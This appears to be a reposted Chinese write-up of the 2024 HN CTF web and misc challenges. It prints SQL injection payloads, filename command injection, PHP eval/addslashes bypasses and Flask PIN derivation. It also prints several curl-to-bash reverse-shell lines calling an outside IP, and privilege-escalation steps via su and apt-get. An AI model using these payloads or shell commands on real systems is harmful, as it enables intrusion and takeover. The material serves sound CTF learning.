2024 HN CTF WebMisc 部分 wp

2024-06-01 08:28
文章标签 2024 ctf 部分 wp webmisc hn

本文主要是介绍2024 HN CTF WebMisc 部分 wp,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Web

ez_tp

判断是thinkphp 3.2
参考官方手册:https://www.kancloud.cn/manual/thinkphp/1697
判断路由模式

  'URL_CASE_INSENSITIVE'  =>  true,   // 默认false 表示URL区分大小写 true则表示不区分大小写'URL_MODEL'             =>  1,       // URL访问模式,可选参数0、1、2、3,代表以下四种模式:// 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE  模式); 3 (兼容模式)  默认为PATHINFO 模式

默认phpinfo模式 走路由模式
类似这种传参

http://serverName/index.php/模块/控制器/操作

Thinkphp3.2.x的SQL注入之前接触过利用数组传参绕过
本地调试可以得到SQL语句

"SELECT `username`,`age` FROM `think_user` WHERE `username` = 'admin' "

解法一:
原理分析参考文章:https://www.freebuf.com/articles/web/345544.html
构造数组传参即可 注意是单引号闭合

name[0]=test&name[1]=%3d%27J1rrY%27%20union%20select%201,flag%20from%20flag

直接打就可以了
解法二:
Runtime有缓存直接就是sql payload(多半测题时没有注意)
image.png

/thinkphp323/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

image.png
发现是可以直接进行union 注入
但是要绕过Waf 本地调试跟踪
(坑点)发现用 谷歌浏览器访问 时User-agent 触发 and关键字被拦截
image.png
此时的 User-Agent:""Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99""
考虑用python发包即可绕过waf
本地打通直接远程

import requestsurl="http://hnctf.imxbt.cn:40197/index.php/Home/Index/h_n?name[0]=exp&name[1]=%3d%27J1rrY%27%20union%20select%201,flag%20from%20flag"#files={'file':open("D:\\flag.txt","rb")}headers={"Accept":"$get"} #实际没有res=requests.post(url,headers=headers)print(res.text)

image.png

ezflask

法一:
当成无回显RCE的题
直接反弹shell

cmd=__import__('os').system("curl 148.135.82.190 | b''a''s''h").read()

curl -T 外带即可
flag 位置:/etc/jaygalf
flag{846c6ed9-2563-4478-9ab1-8a3421a035ab}
法二:Flask 内存马
见笔记 [[Python Flask内存马]]

image.png

Gojava

存在信息泄露 /robots.txt
image.png

可以得到 旧版 main.zip 只有上传部分的逻辑
直接访问 main.go 被禁止
程序 实现了上传 Java 编译 class 打包 jar 返回
可能的后端逻辑

javac 实现编译
jar cvfe 实现打包

考虑直接 命令注入

黑名单处就是考点

为了绕过滤
{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}
尝试$()执行 内链执行

image.png

本地调试跟踪代码发现 filename中 /会截断 不能出现 / 否则截断字符报错
image.png

image.png

可以报错带出
image.png
直接curl 反弹shell

POST /gojava HTTP/1.1
Host: hnctf.yuanshen.life:33630
Content-Length: 346
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvv5bxA5dqzMWAKeU
Origin: http://hnctf.imxbt.cn:46625
Referer: http://hnctf.imxbt.cn:46625/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: GZCTF_Token=CfDJ8KQ4ggNBM-hBh6w4LqiKpqxHK9TcJaeuCyqmvImqaaO3gyj4TD0oOLXpGR0E3Jyocx1vRlRDPogYgJyGtUHLaqof45U1kU9-00K20K7On9ZYEX1qK9AhwHKOjNyvNHOEA1Ve_EYCtB-ILpkpxCjNYNBUZEOlipVQdwM7afZofWT3yhcuV0_xbyhyavsETa8db1ZMsgppzX_yrvwTrofl09egxXwFL0VrHq0f0FNmeg18Yc3xKrgbZrW0zzHOLOtHEsnyva0ocPLH-EzRldy8yfKqqrxKjDNQn0Jsxb7v-4rAQdQZwj0EhHXYcP0i-LBBrjXysJhzVKaA6D-V3GArEfcL-eYuJOgEaxjxxKtnJaMWTbwct3X32Wug7Q2K8fg4l3qQB7CPZBMRqn-5PEu9n7mC4YhL0YH0Od7vLzSdeOnxlZmKwQJAngxaWE6IVER3XRSSkJPFk3TZ0j4Kt0Toiicx114wzlb-wo_OVEMA3nVoATZI75RudP0BC0FrZWmkkpTnEX3Wtap67a9FxBQ5cXRlQ0LUB5ybY2MdETwKDkO_-lVAbAjA5qFZrbrbTq7dMu8smi2CtpFtP_3Vf-27F2zecCX-glrGHwY29Bz4rfx8aQwXNaht4376E2-KgPKAcstHQQ30X7ofu525Rr90TaFh0e08vWKgCy1Hx8nAMcE2BOcDURukaEskUQz8Gro9a0584-XC69dJlf4-As8TtOw
Connection: close------WebKitFormBoundaryvv5bxA5dqzMWAKeU
Content-Disposition: form-data; name="file"; filename="$(curl 148.135.82.190 | bash)Main.java"
Content-Type: application/octet-streampublic class Main {public static void main(String[] args) {System.out.println("Hello gojava");}
}
------WebKitFormBoundaryvv5bxA5dqzMWAKeU--

直接弹了回来
image.png
看了下main.go 感觉出题人想 /testExecYourJarOnServer

// 执行.jar文件 这里可以直接反弹shell cmd := exec.Command("java", "-jar", jarFile)

感觉非预期了
根目录下存在 memorandum 备忘录
得到字符 H2LvFxnWENLqVxE
image.png
死活提不了权限
最后发现 H2LvFxnWENLqVxE是root的密码
su root
image.png

main.go

package mainimport ("fmt""io""log""math/rand""mime/multipart""net/http""os""os/exec""path/filepath""strconv""strings""time"
)var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}func main() {// 设置路由http.HandleFunc("/gojava", compileJava)http.HandleFunc("/testExecYourJarOnServer", testExecYourJarOnServer)// 设置静态文件服务器fs := http.FileServer(http.Dir("."))http.Handle("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {// 检查请求的路径是否需要被禁止访问if isForbiddenPath(r.URL.Path) {http.Error(w, "Forbidden", http.StatusForbidden)return}// 否则,继续处理其他请求fs.ServeHTTP(w, r)}))// 启动服务器log.Println("Server started on :80")log.Fatal(http.ListenAndServe(":80", nil))
}func isForbiddenPath(path string) bool {// 检查路径是否为某个特定文件或文件夹的路径// 这里可以根据你的需求进行设置forbiddenPaths := []string{"/main.go","/upload/",}// 检查请求的路径是否与禁止访问的路径匹配for _, forbiddenPath := range forbiddenPaths {if strings.HasPrefix(path, forbiddenPath) {return true}}return false
}func isFilenameBlacklisted(filename string) bool {for _, char := range filename {for _, blackChar := range blacklistChars {if char == blackChar {return true}}}return false
}// compileJava 处理上传并编译Java文件的请求
func compileJava(w http.ResponseWriter, r *http.Request) {// 检查请求方法是否为POSTif r.Method != http.MethodPost {http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)return}// 解析multipart/form-data格式的表单数据err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MBif err != nil {http.Error(w, "Error parsing form", http.StatusInternalServerError)return}// 从表单中获取上传的文件file, handler, err := r.FormFile("file")if err != nil {http.Error(w, "Error retrieving file", http.StatusBadRequest)return}defer file.Close()if isFilenameBlacklisted(handler.Filename) {http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)return}// 检查文件扩展名是否为.javaif !strings.HasSuffix(handler.Filename, ".java") {http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)return}// 保存上传的文件至./upload文件夹err = saveFile(file, "./upload/"+handler.Filename)if err != nil {http.Error(w, "Error saving file", http.StatusInternalServerError)return}// 生成随机文件名rand.Seed(time.Now().UnixNano())randomName := strconv.FormatInt(rand.Int63(), 16) + ".jar"// 编译Java文件cmd := "javac ./upload/" + handler.FilenamecompileCmd := exec.Command("sh", "-c", cmd)//compileCmd := exec.Command("javac", "./upload/"+handler.Filename)compileOutput, err := compileCmd.CombinedOutput()if err != nil {http.Error(w, "Error compiling Java file: "+string(compileOutput), http.StatusInternalServerError)return}// 将编译后的.class文件打包成.jar文件fileNameWithoutExtension := strings.TrimSuffix(handler.Filename, filepath.Ext(handler.Filename))jarCmd := exec.Command("jar", "cvfe", "./final/"+randomName, fileNameWithoutExtension, "-C", "./upload", strings.TrimSuffix(handler.Filename, ".java")+".class")jarOutput, err := jarCmd.CombinedOutput()if err != nil {http.Error(w, "Error creating JAR file: "+string(jarOutput), http.StatusInternalServerError)return}// 返回编译后的.jar文件的下载链接fmt.Fprintf(w, "/final/%s", randomName)
}// saveFile 保存上传的文件
func saveFile(file multipart.File, filePath string) error {// 创建目标文件f, err := os.Create(filePath)if err != nil {return err}defer f.Close()// 将上传的文件内容复制到目标文件中_, err = io.Copy(f, file)if err != nil {return err}return nil
}func testExecYourJarOnServer(w http.ResponseWriter, r *http.Request) {jarFile := "./final/" + r.URL.Query().Get("jar")// 检查是否存在指定的.jar文件if !strings.HasSuffix(jarFile, ".jar") {http.Error(w, "Invalid jar file format", http.StatusBadRequest)return}if _, err := os.Stat(jarFile); os.IsNotExist(err) {http.Error(w, "Jar file not found", http.StatusNotFound)return}// 执行.jar文件 这里可以直接反弹shell 还缺提权cmd := exec.Command("java", "-jar", jarFile)output, err := cmd.CombinedOutput()if err != nil {http.Error(w, "Error running jar file: "+string(output), http.StatusInternalServerError)return}// 输出结果w.Header().Set("Content-Type", "text/plain")w.Write(output)
}

奇怪的网站

后台设置

Apache/2.4.25 (Debian)
PHP/5.6.40 版本较低

扫描后发现 存在

/404.php
/flag.php

/index.png 被当作 php进行解析 修改了默认apache .htaccess配置
存在vim泄露 对应文件名

import requests
chars="abcdefghijklmnopqrstuvwxyz"
for char in chars:url =f"http://hnctf.yuanshen.life:33492/.flag.php.sw{char}"res=requests.get(url)if res.status_code==200:print(url)breakelse:print(res.status_code)

image.png
访问 .flag.php.swm

echo 123;$num = $_GET['n$num = $_GET['num'];$$nu$num = $_GET[$nu$num = $_GET['$num = $_GET['num'];}           return $num == '11259375';        }                }                        return false;                {                if ( ($c >= $a) && ($c <= $b) )                $c = ord($num{$i});        {        for ($i = 0; $i < strlen($num); $i++)        $b = ord('9');        $a = ord('1');{ function check($num)*/you find me!/*

混乱的数据 要先恢复 vim缓存文件

vim -r flag.php
<?php/*you find me!*/function check($num){$a = ord('1');$b = ord('9');for ($i = 0; $i < strlen($num); $i++){$c = ord($num{$i});if ( ($c >= $a) && ($c <= $b) ){return false;}}return $num == '11259375';}$num = $_GET['num'];

搜索关键字段
https://blog.csdn.net/qq_46389295/article/details/104467048
image.png
没p用
浏览器判断 数据包
image.png
首页存在302跳转
提示 :
image.png

image.png
404存在可疑的 头
用bp发包

Secret: After PUT, does the server write the file directly?preflight?
秘密:PUT 之后,服务器会直接写入文件吗?

答案是不会

预请求就是复杂请求(可能对服务器数据产生副作用的HTTP请求方法,如put,delete都会对服务器数据进行更修改,所以要先询问服务器)。

跨域请求中,浏览器自发的发起的预请求,浏览器会查询到两次请求,第一次的请求参数是options,以检测试实际请求是否可以被浏览器接受

考察 尝试更改method方法为 OPTIONS ,可以利用文件读取漏洞,读取.htaccess文件隐藏文件ggggoku.php,进行rce
image.png
可以接受的请求头
模仿 404.php的第一次预请求
image.png

猜测时传参 ?ff
image.png
可以读到源码

<?php
header("Secret:  After PUT, does the server write the file directly?preflight?");
$methodreq = $_SERVER['REQUEST_METHOD'];
if ($methodreq=='OPTIONS'){header("Cookie: ?ff");$file=$_GET['ff'];if(preg_match('/log|flag|session|http|=|file|:|\/|\?/i', $file)||!file_exists($file)){ die('hacker!');}echo file_get_contents($file);
}

尝试读取 .htaccess文件

<FilesMatch "index.png">SetHandler application/x-httpd-php
</FilesMatch>
order deny,allow
RewriteEngine On
RewriteBase /
RewriteRule ^(.*gggoku)\.php$ ggggoku.php [NC]

ggggoku.php

<?php
$a=$_GET['a'];
if (isset($_GET['a'])) {if(preg_match('/`/i', $a)){die("nonono~~~");}eval('$b="' . addslashes($_GET['a']) . '";');
} else {die('RCE都不会了?');
}?>

image.png
https://cloud.tencent.com/developer/article/1148417
在PHP语言中,单引号和双引号都可以表示一个字符串,但是 对于双引号来说,可能会对引号内的内容进行二次解释 ,这就可能会出现安全问题。

http://hnctf.yuanshen.life:33514/ggggoku.php?a=${phpinfo()}

PHP复杂变量绕过addslashes()直接拿shell
感觉有点像内联执行 可以不用引号

ggggoku.php?a=${eval($_POST[1])}

有一堆disabled_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,scandir,putenv,error_log,mail,glob,show_source,include,require.include_once,require_once,opendir,readdir,rewinddir,closedir,stream_get_contents,file_put_contents,readfile,readgzfile,readgzfile,readlink,readgzfile,readgzfile,assert,fopen,fgets,eval,assert,fwrite,file_put_contents,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,symlink,lin,putenv,chroot,chgrp,dl,readlink|

进行正则匹配后发现
popen()命令没有被禁止 尝试

$command="curl 148.135.82.190/2 | bash";
$hane = popen($command,"r");
while(!feof($hane)){        echo fread($hane, 1024);  
}  
pclose($hane);

image.png
完美过关 内容见绕过笔记1
image.png

curl直接反弹shell回来
image.png

find / -perm -u=s -type f 2>/dev/null

image.png
唯一可以利用的是su 切换目录

find / -type f -user www-data -readable 2>/dev/null

没找到直接 linpeas信息搜集
image.png
特别注意标红内容

cat /home/admin/passwd

image.png
md5(goku): bef27466a245ce3ec692bd25409c2549
image.png
没有tty 不完整 不可以pty 如何处理

usr/bin/script -qc /bin/bash /dev/null

最终是提权到root superuser 不是admin哦
猜测密码是root的密码
image.png

GPTS

# CVE-2024-31224 RCE 利用分析
按他的步骤弹不起 是修改cookie后刷新在 加载已保存
注意一下是 用字节码可以在Windows上跑到

python3 -c 'import pty;pty.spawn("/bin/sh")'

查看 suid的敏感信息
1)命令 2) 文件
用linpeas信息搜集
image.png
涉及的权限和用户 ctfgame->ctfer->root
image.png
本地的gcc和useful software 命令
image.png
ctfer的密码隐藏在 mail中

find / -type f -user ctfgame -readable 2>/dev/null

查看 当前用户可读的文件也是一种方法
image.png
ctfer : KbsrZrSCVeui#+R
切换到ctfer

su ctfer

查看sudo特权

sudo -l

image.png

sudo adduser test -gid 0

/etc/sudoers 文件可能允许 root 用户组读取,但这并不意味着该组的成员具有与 root 用户相同的完全权限
添加到root用户组后 可以查看查看完整的sudoers
image.png

image.png
kobe用户 有 apt-get sudo 利用
image.png
考虑apt-get 提权
image.png

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

此时就是 root用户

image.png

flipPin

考点: cbc翻转+flask pin 码计算
cbc翻转 涉及密码学 只利用脚本
原题溯源: https://www.ctfiot.com/172434.html

from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decodeimport jsondefault_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)def encrypt(session):iv = get_random_bytes(AES.block_size)cipher = AES.new(key, AES.MODE_CBC, iv)return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))def decrypt(session):raw = b64decode(session)cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])try:res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')return resexcept Exception as e:print(e)app = Flask(__name__)filename_blacklist = {'self','cgroup','mountinfo','env','flag'
}@app.route("/")
def index():session = request.cookies.get('session')if session is None:res = Response("welcome to the FlipPIN server try request /hint to get the hint")res.set_cookie('session', encrypt(default_session).decode())return reselse:return 'have a fun'@app.route("/hint")
def hint():res = Response(open(__file__).read(), mimetype='text/plain')return res@app.route("/read")
def file():session = request.cookies.get('session')if session is None:res = Response("you are not logged in")res.set_cookie('session', encrypt(default_session))return reselse:plain_session = decrypt(session)if plain_session is None:return 'don\'t hack me'session_data = json.loads(plain_session)if session_data['admin'] :filename = request.args.get('filename')if any(blacklist_str in filename for blacklist_str in filename_blacklist):abort(403, description='Access to this file is forbidden.')try:with open(filename, 'r') as f:return f.read()except FileNotFoundError:abort(404, description='File not found.')except Exception as e:abort(500, description=f'An error occurred: {str(e)}')else:return 'You are not an administrator'if __name__ == "__main__":app.run(host="0.0.0.0", port=9091, debug=True)

访问 /etc/passwd
image.png
当前用户是 ctfUser
传入错误session 使flask报错
image.png

#### /usr/lib/python3.9/site-packages/flask/app.py

/sys/class/net/eth0/address 获取 mac地址

image.png

02:42:ac:11:00:0d

尝试读机器码 存在黑名单

filename_blacklist = {'self', # 1 'cgroup', # cpuset'mountinfo','env','flag'# /proc/1/cpuset
}

读取相关文件绕过过滤

  • 过滤了self的时候怎么读 machine-id
    • 其中的self可以用相关进程的pid去替换,其实1就行
  • 过滤 cgroup
    • 用mountinfo或者cpuset
      读取 后半部分 /proc/1/cpuset
      image.png
a46c709c2b0dec51cc8596b90ff4cfa51dedf414ec23646f4d8430e03c86881f

读取前半部分 /proc/sys/kernel/random/boot_id

9fd11036-6c2e-41c7-bb26-7d358f670070

机器码就是

9fd11036-6c2e-41c7-bb26-7d358f670070a46c709c2b0dec51cc8596b90ff4cfa51dedf414ec23646f4d8430e03c86881f

计算后pin码是 101-622-803
image.png
flag 在环镜变量

Please_RCE_Me

PHP/5.6.40
低版本存在 preg_replace //e 任意命令执行

flag=Please_give_me_flag&task=phpinfo();

查看php的默认配置
array_map或array_filter绕过 做转接头即可

flag=Please_give_me_flag&task=array_map($_POST[1],$_POST[2]);&1=assert&2[]=system("cat /flag");

image.png

Misc

ezjail

import osbanner = r"""
__        __   _       ___            _____   _    ___    _   _  ___   _   _ 
\ \      / /__| | ___ / _ \ _ __ ___ |___ /  | |_ / _ \  | | | |( _ ) | \ | |\ \ /\ / / _ \ |/ __| | | | '_ ` _ \  |_ \  | __| | | | | |_| |/ _ \/\  \| |\ V  V /  __/ | (__| |_| | | | | | |___) | | |_| |_| | |  _  | (_>  < |\  |\_/\_/ \___|_|\___|\___/|_| |_| |_|____/   \__|\___/  |_| |_|\___/\/_| \_|_       _ _| | __ _/ | |_  | |/ _` | | |
| |_| | (_| | | |___\___/ \__,_|_|_____|"""badwords = ["all", "aiter", "any", "ascii", "bin", "bool", "breakpoint", "callable", "chr", "classmethod", "compile", "dict", "enumerate", "eval", "exec", "filter", "getattr", "globals", "input", "iter","next", "locals", "memoryview", "next", "object", "open", "print", "setattr", "staticmethod", "vars", "__import__", "bytes", "keys", "str", "join", "__dict__", "__dir__", "__getstate__", "upper", "__all__"]badchars = ['c', 'h', 'j', 'k', 'n', 'o', 'p', 'q', 'u', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W','X', 'Y', 'Z', '!', '"', '#', '$', '%', '&', '\'', '-', '/', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '`', '{', '|', '}', '~', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']class Jail():def __init__(self) -> None:print(banner)print("Will you be able to read the $FLAG?")exec(self.generate_dynamic_code())print("type 'hint' to get source code")while(1):print("> ", end="")self.run_code(input())def generate_dynamic_code(self):dynamic_code = ""flag_values = [ 70, 76, 65, 71]for i in flag_values:dynamic_code += f"self.{chr(i)} = {i}\n"return dynamic_codedef run_code(self, code):if code.isascii():if code == "hint":print(open(__file__).read())if (all([x not in code for x in badchars]) andall([x not in code for x in badwords])):try:exec(code)except Exception as e:print(f"something wrong \n{e}")else:print("Exploiting detected")else:exit("?¿")def test(self):print(dir(self))def get_var(self, varname):print(os.getenv(varname))Jail()

最终实现 exec(code) 执行Python代码
存在几个没有上的有意思的函数方法

def test(self):print(dir(self))def get_var(self, varname):print(os.getenv(varname))

python中调用类中方法self.方法名

def test(self):print(dir(self))

输入 self.test()
image.png
有特别的提示
image.png
1 3 0 2 实际调用 dir(self) 列举了self`可用的属性 以列表形式返回

def get_var(self, varname):print(os.getenv(varname))

尝试读取 FLAG 环镜变量构造字符 FLAG

self.get_var(dir(self)[0])

image.png

print(dir(self)[1]) 
F

解决 数字和中括号的问题
[] 可以用属性 __getitems__()代替
可以搜索 bing 发现 __le__等的用法
https://blog.csdn.net/weixin_45081575/article/details/128729856
数字0-3 可以用 富比较构造出 0,1
image.png

image.png
+ 拼接即可

().__ge__(()) 1
().__ne__(()) 0
1302
().__ge__(()) F
().__ge__(())+().__ge__(())+().__ge__(()) L
().__ne__(()) A
().__ge__(())+().__ge__(()) Gdir(self).__getitem__()dir(self).__getitem__(().__ge__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())+().__ge__(()))+dir(self).__getitem__(().__ne__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(()))

image.png
可以成功拼接出FLAG
image.png
本地可以直接打通

self.get_var(dir(self).__getitem__(().__ge__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())+().__ge__(()))+dir(self).__getitem__(().__ne__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())))

很遗憾 n 被过滤了
无非换一种富比较即可
image.png

().__le__(()) 1 
().__lt__(()) 0
dir(self).__getitem__()
1302F: dir(self).__getitem__(().__le__(()))
L: dir(self).__getitem__(().__le__(())+().__le__(())+().__le__(()))
A: dir(self).__getitem__(().__lt__(()))
G: dir(self).__getitem__(().__le__(())+().__le__(()))self.get_var(dir(self).__getitem__(().__le__(()))+dir(self).__getitem__(().__le__(())+().__le__(())+().__le__(()))+dir(self).__getitem__(().__lt__(()))+dir(self).__getitem__(().__le__(())+().__le__(())))

image.png
官方题解用的是 python匿名函数进行拼接

self.get_var((lambda ab, ad, ae, af, ag, ai, al, am, ar, aaa, at, av, ba, bd, be, bf, bg, bi, bl, bm, br, bs, bt, bv, da, db, de, df, dg, di, dl, dm, ddd, dddd,dda: ad+af+ab+ae)(*dir(self)))
(lambda 对应参数形参: 返回表达式 等价于eval )(* 传入的具体参数实参)  
* 代表解包 
`*`:在函数调用时,`*` 符号用于解包(unpack)一个可迭代对象(如列表、元组等)的元素,并将它们作为单独的参数传递给函数

一个一个返回字符 传入 形参 构造FLAG

这篇关于2024 HN CTF WebMisc 部分 wp的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1020485

相关文章

Python基于火山引擎豆包大模型搭建QQ机器人详细教程(2024年最新)

《Python基于火山引擎豆包大模型搭建QQ机器人详细教程(2024年最新)》:本文主要介绍Python基于火山引擎豆包大模型搭建QQ机器人详细的相关资料,包括开通模型、配置APIKEY鉴权和SD... 目录豆包大模型概述开通模型付费安装 SDK 环境配置 API KEY 鉴权Ark 模型接口Prompt

2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题

题库来源:安全生产模拟考试一点通公众号小程序 2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题是由安全生产模拟考试一点通提供,流动式起重机司机证模拟考试题库是根据流动式起重机司机最新版教材,流动式起重机司机大纲整理而成(含2024年流动式起重机司机证模拟考试题库及流动式起重机司机理论考试试题参考答案和部分工种参考解析),掌握本资料和学校方法,考试容易。流动式起重机司机考试技

【专题】2024飞行汽车技术全景报告合集PDF分享(附原数据表)

原文链接: https://tecdat.cn/?p=37628 6月16日,小鹏汇天旅航者X2在北京大兴国际机场临空经济区完成首飞,这也是小鹏汇天的产品在京津冀地区进行的首次飞行。小鹏汇天方面还表示,公司准备量产,并计划今年四季度开启预售小鹏汇天分体式飞行汽车,探索分体式飞行汽车城际通勤。阅读原文,获取专题报告合集全文,解锁文末271份飞行汽车相关行业研究报告。 据悉,业内人士对飞行汽车行业

高效录音转文字:2024年四大工具精选!

在快节奏的工作生活中,能够快速将录音转换成文字是一项非常实用的能力。特别是在需要记录会议纪要、讲座内容或者是采访素材的时候,一款优秀的在线录音转文字工具能派上大用场。以下推荐几个好用的录音转文字工具! 365在线转文字 直达链接:https://www.pdf365.cn/ 365在线转文字是一款提供在线录音转文字服务的工具,它以其高效、便捷的特点受到用户的青睐。用户无需下载安装任何软件,只

poj 2976 分数规划二分贪心(部分对总体的贡献度) poj 3111

poj 2976: 题意: 在n场考试中,每场考试共有b题,答对的题目有a题。 允许去掉k场考试,求能达到的最高正确率是多少。 解析: 假设已知准确率为x,则每场考试对于准确率的贡献值为: a - b * x,将贡献值大的排序排在前面舍弃掉后k个。 然后二分x就行了。 代码: #include <iostream>#include <cstdio>#incl

2024网安周今日开幕,亚信安全亮相30城

2024年国家网络安全宣传周今天在广州拉开帷幕。今年网安周继续以“网络安全为人民,网络安全靠人民”为主题。2024年国家网络安全宣传周涵盖了1场开幕式、1场高峰论坛、5个重要活动、15场分论坛/座谈会/闭门会、6个主题日活动和网络安全“六进”活动。亚信安全出席2024年国家网络安全宣传周开幕式和主论坛,并将通过线下宣讲、创意科普、成果展示等多种形式,让广大民众看得懂、记得住安全知识,同时还

2024/9/8 c++ smart

1.通过自己编写的class来实现unique_ptr指针的功能 #include <iostream> using namespace std; template<class T> class unique_ptr { public:         //无参构造函数         unique_ptr();         //有参构造函数         unique_ptr(

论文翻译:arxiv-2024 Benchmark Data Contamination of Large Language Models: A Survey

Benchmark Data Contamination of Large Language Models: A Survey https://arxiv.org/abs/2406.04244 大规模语言模型的基准数据污染:一项综述 文章目录 大规模语言模型的基准数据污染:一项综述摘要1 引言 摘要 大规模语言模型(LLMs),如GPT-4、Claude-3和Gemini的快

免费也能高质量!2024年免费录屏软件深度对比评测

我公司因为客户覆盖面广的原因经常会开远程会议,有时候说的内容比较广需要引用多份的数据,我记录起来有一定难度,所以一般都用录屏工具来记录会议内容。这次我们来一起探索有什么免费录屏工具可以提高我们的工作效率吧。 1.福晰录屏大师 链接直达:https://www.foxitsoftware.cn/REC/  录屏软件录屏功能就是本职,这款录屏工具在录屏模式上提供了多种选项,可以选择屏幕录制、窗口

论文翻译:ICLR-2024 PROVING TEST SET CONTAMINATION IN BLACK BOX LANGUAGE MODELS

PROVING TEST SET CONTAMINATION IN BLACK BOX LANGUAGE MODELS https://openreview.net/forum?id=KS8mIvetg2 验证测试集污染在黑盒语言模型中 文章目录 验证测试集污染在黑盒语言模型中摘要1 引言 摘要 大型语言模型是在大量互联网数据上训练的,这引发了人们的担忧和猜测,即它们可能已